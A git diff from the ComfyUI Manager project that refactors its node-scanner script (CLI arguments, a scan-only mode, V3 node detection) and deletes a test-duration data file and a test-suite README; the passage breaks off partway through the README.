||||
from github import Github
|
||||
from github import Github, Auth
|
||||
|
||||
|
||||
def download_url(url, dest_folder, filename=None):
|
||||
@@ -39,26 +41,51 @@ def download_url(url, dest_folder, filename=None):
|
||||
raise Exception(f"Failed to download file from {url}")
|
||||
|
||||
|
||||
# prepare temp dir
|
||||
if len(sys.argv) > 1:
|
||||
temp_dir = sys.argv[1]
|
||||
else:
|
||||
temp_dir = os.path.join(os.getcwd(), ".tmp")
|
||||
def parse_arguments():
|
||||
"""Parse command-line arguments"""
|
||||
parser = argparse.ArgumentParser(
|
||||
description='ComfyUI Manager Node Scanner',
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog='''
|
||||
Examples:
|
||||
# Standard mode
|
||||
python3 scanner.py
|
||||
python3 scanner.py --skip-update
|
||||
|
||||
if not os.path.exists(temp_dir):
|
||||
os.makedirs(temp_dir)
|
||||
# Scan-only mode
|
||||
python3 scanner.py --scan-only temp-urls-clean.list
|
||||
python3 scanner.py --scan-only urls.list --temp-dir /custom/temp
|
||||
python3 scanner.py --scan-only urls.list --skip-update
|
||||
'''
|
||||
)
|
||||
|
||||
parser.add_argument('--scan-only', type=str, metavar='URL_LIST_FILE',
|
||||
help='Scan-only mode: provide URL list file (one URL per line)')
|
||||
parser.add_argument('--temp-dir', type=str, metavar='DIR',
|
||||
help='Temporary directory for cloned repositories')
|
||||
parser.add_argument('--skip-update', action='store_true',
|
||||
help='Skip git clone/pull operations')
|
||||
parser.add_argument('--skip-stat-update', action='store_true',
|
||||
help='Skip GitHub stats collection')
|
||||
parser.add_argument('--skip-all', action='store_true',
|
||||
help='Skip all update operations')
|
||||
|
||||
# Backward compatibility: positional argument for temp_dir
|
||||
parser.add_argument('temp_dir_positional', nargs='?', metavar='TEMP_DIR',
|
||||
help='(Legacy) Temporary directory path')
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
|
||||
|
||||
skip_update = '--skip-update' in sys.argv or '--skip-all' in sys.argv
|
||||
skip_stat_update = '--skip-stat-update' in sys.argv or '--skip-all' in sys.argv
|
||||
|
||||
if not skip_stat_update:
|
||||
g = Github(os.environ.get('GITHUB_TOKEN'))
|
||||
else:
|
||||
g = None
|
||||
|
||||
|
||||
print(f"TEMP DIR: {temp_dir}")
|
||||
# Module-level variables (will be set in main if running as script)
|
||||
args = None
|
||||
scan_only_mode = False
|
||||
url_list_file = None
|
||||
temp_dir = None
|
||||
skip_update = False
|
||||
skip_stat_update = True
|
||||
g = None
|
||||
|
||||
|
||||
parse_cnt = 0
|
||||
@@ -73,12 +100,22 @@ def extract_nodes(code_text):
|
||||
parse_cnt += 1
|
||||
|
||||
code_text = re.sub(r'\\[^"\']', '', code_text)
|
||||
parsed_code = ast.parse(code_text)
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
warnings.filterwarnings('ignore', category=DeprecationWarning)
|
||||
parsed_code = ast.parse(code_text)
|
||||
|
||||
# Support both ast.Assign and ast.AnnAssign (for type-annotated assignments)
|
||||
assignments = (node for node in parsed_code.body if isinstance(node, (ast.Assign, ast.AnnAssign)))
|
||||
|
||||
assignments = (node for node in parsed_code.body if isinstance(node, ast.Assign))
|
||||
|
||||
for assignment in assignments:
|
||||
if isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
|
||||
# Handle ast.AnnAssign (e.g., NODE_CLASS_MAPPINGS: Type = {...})
|
||||
if isinstance(assignment, ast.AnnAssign):
|
||||
if isinstance(assignment.target, ast.Name) and assignment.target.id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
|
||||
node_class_mappings = assignment.value
|
||||
break
|
||||
# Handle ast.Assign (e.g., NODE_CLASS_MAPPINGS = {...})
|
||||
elif isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
|
||||
node_class_mappings = assignment.value
|
||||
break
|
||||
else:
|
||||
@@ -90,7 +127,7 @@ def extract_nodes(code_text):
|
||||
for key in node_class_mappings.keys:
|
||||
if key is not None and isinstance(key.value, str):
|
||||
s.add(key.value.strip())
|
||||
|
||||
|
||||
return s
|
||||
else:
|
||||
return set()
|
||||
@@ -98,6 +135,99 @@ def extract_nodes(code_text):
|
||||
return set()
|
||||
|
||||
|
||||
def has_comfy_node_base(class_node):
|
||||
"""Check if class inherits from io.ComfyNode or ComfyNode"""
|
||||
for base in class_node.bases:
|
||||
# Case 1: ComfyNode
|
||||
if isinstance(base, ast.Name) and base.id == 'ComfyNode':
|
||||
return True
|
||||
# Case 2: io.ComfyNode
|
||||
elif isinstance(base, ast.Attribute):
|
||||
if base.attr == 'ComfyNode':
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def extract_keyword_value(call_node, keyword):
|
||||
"""
|
||||
Extract string value of keyword argument
|
||||
Schema(node_id="MyNode") -> "MyNode"
|
||||
"""
|
||||
for kw in call_node.keywords:
|
||||
if kw.arg == keyword:
|
||||
# ast.Constant (Python 3.8+)
|
||||
if isinstance(kw.value, ast.Constant):
|
||||
if isinstance(kw.value.value, str):
|
||||
return kw.value.value
|
||||
# ast.Str (Python 3.7-) - suppress deprecation warning
|
||||
else:
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=DeprecationWarning)
|
||||
if hasattr(ast, 'Str') and isinstance(kw.value, ast.Str):
|
||||
return kw.value.s
|
||||
return None
|
||||
|
||||
|
||||
def is_schema_call(call_node):
|
||||
"""Check if ast.Call is io.Schema() or Schema()"""
|
||||
func = call_node.func
|
||||
if isinstance(func, ast.Name) and func.id == 'Schema':
|
||||
return True
|
||||
elif isinstance(func, ast.Attribute) and func.attr == 'Schema':
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def extract_node_id_from_schema(class_node):
|
||||
"""
|
||||
Extract node_id from define_schema() method
|
||||
"""
|
||||
for item in class_node.body:
|
||||
if isinstance(item, ast.FunctionDef) and item.name == 'define_schema':
|
||||
# Walk through function body
|
||||
for stmt in ast.walk(item):
|
||||
if isinstance(stmt, ast.Call):
|
||||
# Check if it's Schema() call
|
||||
if is_schema_call(stmt):
|
||||
node_id = extract_keyword_value(stmt, 'node_id')
|
||||
if node_id:
|
||||
return node_id
|
||||
return None
|
||||
|
||||
|
||||
def extract_v3_nodes(code_text):
|
||||
"""
|
||||
Extract V3 node IDs using AST parsing
|
||||
Returns: set of node_id strings
|
||||
"""
|
||||
global parse_cnt
|
||||
|
||||
try:
|
||||
if parse_cnt % 100 == 0:
|
||||
print(".", end="", flush=True)
|
||||
parse_cnt += 1
|
||||
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
warnings.filterwarnings('ignore', category=DeprecationWarning)
|
||||
tree = ast.parse(code_text)
|
||||
except (SyntaxError, UnicodeDecodeError):
|
||||
return set()
|
||||
|
||||
nodes = set()
|
||||
|
||||
# Find io.ComfyNode subclasses
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.ClassDef):
|
||||
# Check if inherits from ComfyNode
|
||||
if has_comfy_node_base(node):
|
||||
node_id = extract_node_id_from_schema(node)
|
||||
if node_id:
|
||||
nodes.add(node_id)
|
||||
|
||||
return nodes
|
||||
|
||||
|
||||
# scan
|
||||
def scan_in_file(filename, is_builtin=False):
|
||||
global builtin_nodes
|
||||
@@ -105,13 +235,18 @@ def scan_in_file(filename, is_builtin=False):
|
||||
with open(filename, encoding='utf-8', errors='ignore') as file:
|
||||
code = file.read()
|
||||
|
||||
pattern = r"_CLASS_MAPPINGS\s*=\s*{([^}]*)}"
|
||||
# Support type annotations (e.g., NODE_CLASS_MAPPINGS: Type = {...}) and line continuations (\)
|
||||
pattern = r"_CLASS_MAPPINGS\s*(?::\s*\w+\s*)?=\s*(?:\\\s*)?{([^}]*)}"
|
||||
regex = re.compile(pattern, re.MULTILINE | re.DOTALL)
|
||||
|
||||
nodes = set()
|
||||
class_dict = {}
|
||||
|
||||
# V1 nodes detection
|
||||
nodes |= extract_nodes(code)
|
||||
|
||||
# V3 nodes detection
|
||||
nodes |= extract_v3_nodes(code)
|
||||
code = re.sub(r'^#.*?$', '', code, flags=re.MULTILINE)
|
||||
|
||||
def extract_keys(pattern, code):
|
||||
@@ -208,6 +343,53 @@ def get_nodes(target_dir):
|
||||
return py_files, directories
|
||||
|
||||
|
||||
def get_urls_from_list_file(list_file):
|
||||
"""
|
||||
Read URLs from list file for scan-only mode
|
||||
|
||||
Args:
|
||||
list_file (str): Path to URL list file (one URL per line)
|
||||
|
||||
Returns:
|
||||
list of tuples: [(url, "", None, None), ...]
|
||||
Format: (url, title, preemptions, nodename_pattern)
|
||||
- title: Empty string
|
||||
- preemptions: None
|
||||
- nodename_pattern: None
|
||||
|
||||
File format:
|
||||
https://github.com/owner/repo1
|
||||
https://github.com/owner/repo2
|
||||
# Comments starting with # are ignored
|
||||
|
||||
Raises:
|
||||
FileNotFoundError: If list_file does not exist
|
||||
"""
|
||||
if not os.path.exists(list_file):
|
||||
raise FileNotFoundError(f"URL list file not found: {list_file}")
|
||||
|
||||
urls = []
|
||||
with open(list_file, 'r', encoding='utf-8') as f:
|
||||
for line_num, line in enumerate(f, 1):
|
||||
line = line.strip()
|
||||
|
||||
# Skip empty lines and comments
|
||||
if not line or line.startswith('#'):
|
||||
continue
|
||||
|
||||
# Validate URL format (basic check)
|
||||
if not (line.startswith('http://') or line.startswith('https://')):
|
||||
print(f"WARNING: Line {line_num} is not a valid URL: {line}")
|
||||
continue
|
||||
|
||||
# Add URL with empty metadata
|
||||
# (url, title, preemptions, nodename_pattern)
|
||||
urls.append((line, "", None, None))
|
||||
|
||||
print(f"Loaded {len(urls)} URLs from {list_file}")
|
||||
return urls
|
||||
|
||||
|
||||
def get_git_urls_from_json(json_file):
|
||||
with open(json_file, encoding='utf-8') as file:
|
||||
data = json.load(file)
|
||||
@@ -264,13 +446,43 @@ def clone_or_pull_git_repository(git_url):
|
||||
print(f"Failed to clone '{repo_name}': {e}")
|
||||
|
||||
|
||||
def update_custom_nodes():
|
||||
def update_custom_nodes(scan_only_mode=False, url_list_file=None):
|
||||
"""
|
||||
Update custom nodes by cloning/pulling repositories
|
||||
|
||||
Args:
|
||||
scan_only_mode (bool): If True, use URL list file instead of custom-node-list.json
|
||||
url_list_file (str): Path to URL list file (required if scan_only_mode=True)
|
||||
|
||||
Returns:
|
||||
dict: node_info mapping {repo_name: (url, title, preemptions, node_pattern)}
|
||||
"""
|
||||
if not os.path.exists(temp_dir):
|
||||
os.makedirs(temp_dir)
|
||||
|
||||
node_info = {}
|
||||
|
||||
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
|
||||
# Select URL source based on mode
|
||||
if scan_only_mode:
|
||||
if not url_list_file:
|
||||
raise ValueError("url_list_file is required in scan-only mode")
|
||||
|
||||
git_url_titles_preemptions = get_urls_from_list_file(url_list_file)
|
||||
print("\n[Scan-Only Mode]")
|
||||
print(f" - URL source: {url_list_file}")
|
||||
print(" - GitHub stats: DISABLED")
|
||||
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
|
||||
print(" - Metadata: EMPTY")
|
||||
else:
|
||||
if not os.path.exists('custom-node-list.json'):
|
||||
raise FileNotFoundError("custom-node-list.json not found")
|
||||
|
||||
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
|
||||
print("\n[Standard Mode]")
|
||||
print(" - URL source: custom-node-list.json")
|
||||
print(f" - GitHub stats: {'ENABLED' if not skip_stat_update else 'DISABLED'}")
|
||||
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
|
||||
print(" - Metadata: FULL")
|
||||
|
||||
def process_git_url_title(url, title, preemptions, node_pattern):
|
||||
name = os.path.basename(url)
|
||||
@@ -382,46 +594,59 @@ def update_custom_nodes():
|
||||
if not skip_stat_update:
|
||||
process_git_stats(git_url_titles_preemptions)
|
||||
|
||||
# Git clone/pull for all repositories
|
||||
with concurrent.futures.ThreadPoolExecutor(11) as executor:
|
||||
for url, title, preemptions, node_pattern in git_url_titles_preemptions:
|
||||
executor.submit(process_git_url_title, url, title, preemptions, node_pattern)
|
||||
|
||||
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
|
||||
# .py file download (skip in scan-only mode - only process git repos)
|
||||
if not scan_only_mode:
|
||||
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
|
||||
|
||||
def download_and_store_info(url_title_preemptions_and_pattern):
|
||||
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
|
||||
name = os.path.basename(url)
|
||||
if name.endswith(".py"):
|
||||
node_info[name] = (url, title, preemptions, node_pattern)
|
||||
def download_and_store_info(url_title_preemptions_and_pattern):
|
||||
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
|
||||
name = os.path.basename(url)
|
||||
if name.endswith(".py"):
|
||||
node_info[name] = (url, title, preemptions, node_pattern)
|
||||
|
||||
try:
|
||||
download_url(url, temp_dir)
|
||||
except Exception:
|
||||
print(f"[ERROR] Cannot download '{url}'")
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(10) as executor:
|
||||
executor.map(download_and_store_info, py_url_titles_and_pattern)
|
||||
with concurrent.futures.ThreadPoolExecutor(10) as executor:
|
||||
executor.map(download_and_store_info, py_url_titles_and_pattern)
|
||||
|
||||
return node_info
|
||||
|
||||
|
||||
def gen_json(node_info):
|
||||
def gen_json(node_info, scan_only_mode=False):
|
||||
"""
|
||||
Generate extension-node-map.json from scanned node information
|
||||
|
||||
Args:
|
||||
node_info (dict): Repository metadata mapping
|
||||
scan_only_mode (bool): If True, exclude metadata from output
|
||||
"""
|
||||
# scan from .py file
|
||||
node_files, node_dirs = get_nodes(temp_dir)
|
||||
|
||||
comfyui_path = os.path.abspath(os.path.join(temp_dir, "ComfyUI"))
|
||||
node_dirs.remove(comfyui_path)
|
||||
node_dirs = [comfyui_path] + node_dirs
|
||||
# Only reorder if ComfyUI exists in the list
|
||||
if comfyui_path in node_dirs:
|
||||
node_dirs.remove(comfyui_path)
|
||||
node_dirs = [comfyui_path] + node_dirs
|
||||
|
||||
data = {}
|
||||
for dirname in node_dirs:
|
||||
py_files = get_py_file_paths(dirname)
|
||||
metadata = {}
|
||||
|
||||
|
||||
nodes = set()
|
||||
for py in py_files:
|
||||
nodes_in_file, metadata_in_file = scan_in_file(py, dirname == "ComfyUI")
|
||||
nodes.update(nodes_in_file)
|
||||
# Include metadata from .py files in both modes
|
||||
metadata.update(metadata_in_file)
|
||||
|
||||
dirname = os.path.basename(dirname)
|
||||
@@ -436,17 +661,28 @@ def gen_json(node_info):
|
||||
if dirname in node_info:
|
||||
git_url, title, preemptions, node_pattern = node_info[dirname]
|
||||
|
||||
metadata['title_aux'] = title
|
||||
# Conditionally add metadata based on mode
|
||||
if not scan_only_mode:
|
||||
# Standard mode: include all metadata
|
||||
metadata['title_aux'] = title
|
||||
|
||||
if preemptions is not None:
|
||||
metadata['preemptions'] = preemptions
|
||||
if preemptions is not None:
|
||||
metadata['preemptions'] = preemptions
|
||||
|
||||
if node_pattern is not None:
|
||||
metadata['nodename_pattern'] = node_pattern
|
||||
if node_pattern is not None:
|
||||
metadata['nodename_pattern'] = node_pattern
|
||||
# Scan-only mode: metadata remains empty
|
||||
|
||||
data[git_url] = (nodes, metadata)
|
||||
else:
|
||||
print(f"WARN: {dirname} is removed from custom-node-list.json")
|
||||
# Scan-only mode: Repository not in node_info (expected behavior)
|
||||
# Construct URL from dirname (author_repo format)
|
||||
if '_' in dirname:
|
||||
parts = dirname.split('_', 1)
|
||||
git_url = f"https://github.com/{parts[0]}/{parts[1]}"
|
||||
data[git_url] = (nodes, metadata)
|
||||
else:
|
||||
print(f"WARN: {dirname} is removed from custom-node-list.json")
|
||||
|
||||
for file in node_files:
|
||||
nodes, metadata = scan_in_file(file)
|
||||
@@ -459,13 +695,16 @@ def gen_json(node_info):
|
||||
|
||||
if file in node_info:
|
||||
url, title, preemptions, node_pattern = node_info[file]
|
||||
metadata['title_aux'] = title
|
||||
|
||||
if preemptions is not None:
|
||||
metadata['preemptions'] = preemptions
|
||||
|
||||
if node_pattern is not None:
|
||||
metadata['nodename_pattern'] = node_pattern
|
||||
# Conditionally add metadata based on mode
|
||||
if not scan_only_mode:
|
||||
metadata['title_aux'] = title
|
||||
|
||||
if preemptions is not None:
|
||||
metadata['preemptions'] = preemptions
|
||||
|
||||
if node_pattern is not None:
|
||||
metadata['nodename_pattern'] = node_pattern
|
||||
|
||||
data[url] = (nodes, metadata)
|
||||
else:
|
||||
@@ -477,6 +716,10 @@ def gen_json(node_info):
|
||||
for extension in extensions:
|
||||
node_list_json_path = os.path.join(temp_dir, extension, 'node_list.json')
|
||||
if os.path.exists(node_list_json_path):
|
||||
# Skip if extension not in node_info (scan-only mode with limited URLs)
|
||||
if extension not in node_info:
|
||||
continue
|
||||
|
||||
git_url, title, preemptions, node_pattern = node_info[extension]
|
||||
|
||||
with open(node_list_json_path, 'r', encoding='utf-8') as f:
|
||||
@@ -506,14 +749,16 @@ def gen_json(node_info):
|
||||
print("------------------------------------------------------")
|
||||
node_list_json = {}
|
||||
|
||||
metadata_in_url['title_aux'] = title
|
||||
# Conditionally add metadata based on mode
|
||||
if not scan_only_mode:
|
||||
metadata_in_url['title_aux'] = title
|
||||
|
||||
if preemptions is not None:
|
||||
metadata['preemptions'] = preemptions
|
||||
if preemptions is not None:
|
||||
metadata_in_url['preemptions'] = preemptions
|
||||
|
||||
if node_pattern is not None:
|
||||
metadata_in_url['nodename_pattern'] = node_pattern
|
||||
|
||||
if node_pattern is not None:
|
||||
metadata_in_url['nodename_pattern'] = node_pattern
|
||||
|
||||
nodes = list(nodes)
|
||||
nodes.sort()
|
||||
data[git_url] = (nodes, metadata_in_url)
|
||||
@@ -523,12 +768,53 @@ def gen_json(node_info):
|
||||
json.dump(data, file, indent=4, sort_keys=True)
|
||||
|
||||
|
||||
print("### ComfyUI Manager Node Scanner ###")
|
||||
if __name__ == "__main__":
|
||||
# Parse arguments
|
||||
args = parse_arguments()
|
||||
|
||||
print("\n# Updating extensions\n")
|
||||
updated_node_info = update_custom_nodes()
|
||||
# Determine mode
|
||||
scan_only_mode = args.scan_only is not None
|
||||
url_list_file = args.scan_only if scan_only_mode else None
|
||||
|
||||
print("\n# 'extension-node-map.json' file is generated.\n")
|
||||
gen_json(updated_node_info)
|
||||
# Determine temp_dir
|
||||
if args.temp_dir:
|
||||
temp_dir = args.temp_dir
|
||||
elif args.temp_dir_positional:
|
||||
temp_dir = args.temp_dir_positional
|
||||
else:
|
||||
temp_dir = os.path.join(os.getcwd(), ".tmp")
|
||||
|
||||
print("\nDONE.\n")
|
||||
if not os.path.exists(temp_dir):
|
||||
os.makedirs(temp_dir)
|
||||
|
||||
# Determine skip flags
|
||||
skip_update = args.skip_update or args.skip_all
|
||||
skip_stat_update = args.skip_stat_update or args.skip_all or scan_only_mode
|
||||
|
||||
if not skip_stat_update:
|
||||
auth = Auth.Token(os.environ.get('GITHUB_TOKEN'))
|
||||
g = Github(auth=auth)
|
||||
else:
|
||||
g = None
|
||||
|
||||
print("### ComfyUI Manager Node Scanner ###")
|
||||
|
||||
if scan_only_mode:
|
||||
print(f"\n# [Scan-Only Mode] Processing URL list: {url_list_file}\n")
|
||||
else:
|
||||
print("\n# [Standard Mode] Updating extensions\n")
|
||||
|
||||
# Update/clone repositories and collect node info
|
||||
updated_node_info = update_custom_nodes(scan_only_mode, url_list_file)
|
||||
|
||||
print("\n# Generating 'extension-node-map.json'...\n")
|
||||
|
||||
# Generate extension-node-map.json
|
||||
gen_json(updated_node_info, scan_only_mode)
|
||||
|
||||
print("\n✅ DONE.\n")
|
||||
|
||||
if scan_only_mode:
|
||||
print("Output: extension-node-map.json (node mappings only)")
|
||||
else:
|
||||
print("Output: extension-node-map.json (full metadata)")
|
||||
@@ -1 +0,0 @@
|
||||
env
|
||||
@@ -1,45 +0,0 @@
|
||||
{
|
||||
"tests/glob/test_complex_scenarios.py::test_enable_cnr_when_both_disabled": 38.17840343294665,
|
||||
"tests/glob/test_complex_scenarios.py::test_enable_nightly_when_both_disabled": 35.116954549972434,
|
||||
"tests/glob/test_enable_disable_api.py::test_disable_package": 13.036482084076852,
|
||||
"tests/glob/test_enable_disable_api.py::test_duplicate_disable": 16.040373252006248,
|
||||
"tests/glob/test_enable_disable_api.py::test_duplicate_enable": 19.040736762981396,
|
||||
"tests/glob/test_enable_disable_api.py::test_enable_disable_cycle": 19.037481372011825,
|
||||
"tests/glob/test_enable_disable_api.py::test_enable_package": 16.04287036403548,
|
||||
"tests/glob/test_installed_api_original_case.py::test_api_response_structure_matches_pypi": 0.001070555008482188,
|
||||
"tests/glob/test_installed_api_original_case.py::test_cnr_package_original_case": 0.0010666880407370627,
|
||||
"tests/glob/test_installed_api_original_case.py::test_installed_api_preserves_original_case": 2.0044877040199935,
|
||||
"tests/glob/test_installed_api_original_case.py::test_nightly_package_original_case": 0.0010498670162633061,
|
||||
"tests/glob/test_queue_task_api.py::test_case_insensitive_operations": 26.13506762601901,
|
||||
"tests/glob/test_queue_task_api.py::test_install_package_via_queue": 5.002635493990965,
|
||||
"tests/glob/test_queue_task_api.py::test_install_uninstall_cycle": 17.058559393975884,
|
||||
"tests/glob/test_queue_task_api.py::test_queue_multiple_tasks": 8.031247623031959,
|
||||
"tests/glob/test_queue_task_api.py::test_uninstall_package_via_queue": 13.007408522011247,
|
||||
"tests/glob/test_queue_task_api.py::test_version_switch_between_cnr_versions": 16.005053027009126,
|
||||
"tests/glob/test_queue_task_api.py::test_version_switch_cnr_to_nightly": 32.11444602702977,
|
||||
"tests/glob/test_queue_task_api.py::test_version_switch_disabled_cnr_to_different_cnr": 26.010654640034772,
|
||||
"tests/glob/test_update_api.py::test_update_already_latest": 18.00697946100263,
|
||||
"tests/glob/test_update_api.py::test_update_cnr_package": 20.00709484401159,
|
||||
"tests/glob/test_update_api.py::test_update_cycle": 20.006706968066283,
|
||||
"tests/glob/test_update_api.py::test_update_nightly_package": 20.01158273994224,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_cleanup_verification_no_orphans": 58.0193324740394,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_cnr_direct_version_install_switching": 32.007448922027834,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_cnr_version_downgrade": 32.01419593003811,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_cnr_version_upgrade": 32.008723533013836,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_fix_cnr_package": 32.00721229799092,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_fix_nightly_package": 37.00825709104538,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_fix_nonexistent_package_error": 12.01385385193862,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_forward_scenario_cnr_nightly_cnr": 52.010525646968745,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_fresh_install_after_uninstall": 17.005509667971637,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_invalid_version_error_handling": 27.007191165990662,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_nightly_same_version_reinstall_skip": 42.00828933296725,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_nightly_update_git_pull": 37.00807314302074,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_repeated_switching_4_times": 72.01205480098724,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_reverse_scenario_nightly_cnr_nightly": 57.010148006957024,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_same_version_reinstall_skip": 27.007290800916962,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_uninstall_cnr_only": 27.007201189990155,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_uninstall_mixed_enabled_disabled": 51.00947179296054,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_uninstall_nightly_only": 32.00746411003638,
|
||||
"tests/glob/test_version_switching_comprehensive.py::test_uninstall_with_multiple_disabled_versions": 76.01319772895658,
|
||||
"tests/glob/test_case_sensitivity_integration.py::test_case_insensitive_lookup": 0.0017123910365626216
|
||||
}
|
||||
-182
@@ -1,182 +0,0 @@
|
||||
# ComfyUI Manager Test Suite
|
||||
|
||||
Comprehensive test suite for ComfyUI Manager with parallel execution support.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Fastest Way: Automated Testing
|
||||
|
||||
```bash
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
**What it does**:
|
||||
- Cleans environment and stops old processes
|
||||
- Sets up 10 parallel test environments
|
||||
- Runs all 43 tests in ~2 minutes
|
||||
- Generates comprehensive report
|
||||
|
||||
**Expected**: 100% pass rate, ~140-160s execution time, 9x+ speedup
|
||||
|
||||
### For Claude Code Users
|
||||
|
||||
Load the testing prompt:
|
||||
```
|
||||
@tests/TESTING_PROMPT.md
|
||||
```
|
||||
|
||||
Claude Code will automatically execute tests and provide intelligent analysis.
|
||||
|
||||
## Test Suite Overview
|
||||
|
||||
### Coverage (54 Tests)
|
||||
- **Queue Task API** (8 tests) - Install, uninstall, version switching
|
||||
- **Version Switching** (19 tests) - CNR↔Nightly, upgrades, downgrades
|
||||
- **Enable/Disable API** (5 tests) - Package activation
|
||||
- **Update API** (4 tests) - Package updates
|
||||
- **Installed API** (4 tests) - Package listing, original case preservation
|
||||
- **Case Sensitivity** (2 tests) - Case-insensitive lookup, full workflow
|
||||
- **Complex Scenarios** (12 tests) - Multi-version state, automatic switching
|
||||
|
||||
### Performance
|
||||
- **Execution**: ~140-160s (2.3-2.7 minutes)
|
||||
- **Parallel**: 10 environments
|
||||
- **Speedup**: 9x+ vs sequential
|
||||
- **Load Balance**: 1.2x variance (excellent)
|
||||
|
||||
## Manual Execution
|
||||
|
||||
### Parallel Testing (Recommended)
|
||||
|
||||
```bash
|
||||
# Setup (one-time)
|
||||
export NUM_ENVS=10
|
||||
./tests/setup_parallel_test_envs.sh
|
||||
|
||||
# Run tests
|
||||
./tests/run_parallel_tests.sh
|
||||
```
|
||||
|
||||
### Single Environment Testing
|
||||
|
||||
```bash
|
||||
# Setup
|
||||
./tests/setup_test_env.sh
|
||||
|
||||
# Run tests
|
||||
cd tests/env
|
||||
python ComfyUI/main.py --enable-manager &
|
||||
sleep 20
|
||||
pytest ../glob/
|
||||
```
|
||||
|
||||
## Adding New Tests
|
||||
|
||||
When adding 3+ new tests or modifying test execution time significantly:
|
||||
|
||||
```bash
|
||||
# 1. Write your tests in tests/glob/
|
||||
|
||||
# 2. Run tests and check load balance
|
||||
./tests/run_automated_tests.sh
|
||||
# Look for "Load Balance: X.XXx variance" in report
|
||||
|
||||
# 3. If variance > 2.0x, update durations
|
||||
./tests/update_test_durations.sh # Takes ~15-20 min
|
||||
|
||||
# 4. Commit duration data
|
||||
git add .test_durations
|
||||
git commit -m "chore: update test duration data"
|
||||
```
|
||||
|
||||
**See**: `glob/TESTING_GUIDE.md` for detailed workflow
|
||||
|
||||
## Files
|
||||
|
||||
- `run_automated_tests.sh` - One-command test execution
|
||||
- `run_parallel_tests.sh` - Parallel test runner
|
||||
- `setup_parallel_test_envs.sh` - Environment setup
|
||||
- `update_test_durations.sh` - Update load balancing data
|
||||
- `TESTING_PROMPT.md` - Claude Code automation
|
||||
- `glob/` - Test implementations
|
||||
- `glob/TESTING_GUIDE.md` - Development workflow guide
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.12+
|
||||
- Virtual environment: `/home/rho/venv`
|
||||
- ComfyUI branch: `ltdrdata/dr-support-pip-cm`
|
||||
- Ports: 8188-8197 available
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Tests Fail to Start
|
||||
|
||||
```bash
|
||||
# Stop existing processes
|
||||
pkill -f "ComfyUI/main.py"
|
||||
sleep 2
|
||||
|
||||
# Re-run
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
### Slow Execution
|
||||
|
||||
If tests take >3 minutes, update duration data:
|
||||
```bash
|
||||
./tests/update_test_durations.sh
|
||||
```
|
||||
|
||||
### Environment Issues
|
||||
|
||||
Rebuild test environments:
|
||||
```bash
|
||||
rm -rf tests/env/ComfyUI_*
|
||||
NUM_ENVS=10 ./tests/setup_parallel_test_envs.sh
|
||||
```
|
||||
|
||||
## Generated Files
|
||||
|
||||
- **Report**: `.claude/livecontext/automated_test_*.md`
|
||||
- **Logs**: `tests/tmp/test-results-[1-10].log`
|
||||
- **Server Logs**: `tests/tmp/comfyui-parallel-[1-10].log`
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
```yaml
|
||||
- name: Run Tests
|
||||
run: |
|
||||
source /home/rho/venv/bin/activate
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
Exit code: 0 = pass, 1 = fail
|
||||
|
||||
---
|
||||
|
||||
**Status**: ✅ Production-ready (100% pass rate, <3min execution)
|
||||
|
||||
## Recent Fixes (2025-11-06)
|
||||
|
||||
### Fixed Test Failures
|
||||
|
||||
#### test_case_sensitivity_full_workflow
|
||||
- **Issue**: HTTP 405 error - incorrect API endpoint usage
|
||||
- **Root Cause**: Using non-existent `/customnode/install` endpoint
|
||||
- **Fix**: Migrated to queue API (`/v2/manager/queue/task` + `/v2/manager/queue/start`)
|
||||
- **Changes**: Updated request parameters (`"id"`, `"version"`, `"selected_version"`)
|
||||
- **Location**: `tests/glob/test_case_sensitivity_integration.py:65-200`
|
||||
|
||||
#### test_enable_package
|
||||
- **Issue**: AssertionError - found 2 disabled packages instead of 1
|
||||
